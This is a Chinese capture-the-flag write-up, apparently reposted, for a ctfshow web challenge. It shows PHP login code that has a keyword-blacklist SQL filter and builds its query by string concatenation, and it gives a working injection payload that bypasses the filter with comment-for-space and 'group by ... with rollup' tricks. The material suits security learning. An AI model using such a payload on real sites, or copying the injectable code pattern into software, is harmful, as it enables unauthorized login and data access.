阅读 107

ctfshow10 web

打开源码看到

下来是源码

$flag="";
function replaceSpecialChar($strParam){
$regex = "/(select|from|where|join|sleep|and|\s|union|,)/i";
return preg_replace($regex,"",$strParam);
}
if (!$con)
{
die(‘Could not connect: ‘ . mysqli_error());
}
if(strlen($username)!=strlen(replaceSpecialChar($username))){
die("sql inject error");
}
if(strlen($password)!=strlen(replaceSpecialChar($password))){
die("sql inject error");
}
$sql="select * from user where username = ‘$username‘";
$result=mysqli_query($con,$sql);
if(mysqli_num_rows($result)>0){
while($row=mysqli_fetch_assoc($result)){
if($password==$row[‘password‘]){
echo "登陆成功
";
echo $flag;
}

}
}
?>

第四行的语句把常规注入基本都过滤了

这里有两种sql语句

group by:对进行查询的结果进行分组。group by后跟什么,就按什么分组

with rollup:group by 后可以跟with rollup,表示在进行分组统计的基础上再次进行汇总统计。

对空格的过滤可以用/**/绕过。

构造一个payload:username=admin‘/**/or/**/1=1/**/group/**/by/**/password/**/with/**/rollup#&password=

密码可以为空,因为加入with rollup后 password有一行为NULL,我们只要输入空密码使得(NULL==NULL)即可满足$password==$row[‘password‘]

 

抓包执行

得到flag

 

原文:https://www.cnblogs.com/lixin666/p/14885161.html

文章分类
代码人生
文章标签
版权声明:本站是系统测试站点,无实际运营。本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌抄袭侵权/违法违规的内容, 请发送邮件至 XXXXXXo@163.com 举报,一经查实,本站将立刻删除。
相关推荐